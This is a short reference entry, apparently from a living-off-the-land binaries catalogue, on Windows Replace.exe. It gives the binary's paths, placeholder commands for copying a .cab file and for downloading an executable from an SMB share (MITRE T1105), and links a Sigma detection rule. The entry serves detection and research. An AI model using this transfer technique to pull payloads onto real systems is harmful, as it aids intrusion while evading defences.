Replace.exe

type: OSBinaries

Used to replace file with another file

Full path

C:\Windows\System32\replace.exe
C:\Windows\SysWOW64\replace.exe

Commands

CopyUser T1105
Copy files
```
replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /A
```
Copy .cab file to destination
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
DownloadUser T1105
Download file
```
replace.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:folder} /A
```
Download/Copy executable to specified folder
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

IOCReplace.exe retrieving files from remote server
Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml

Resources

acknowledgement: elceef @elceef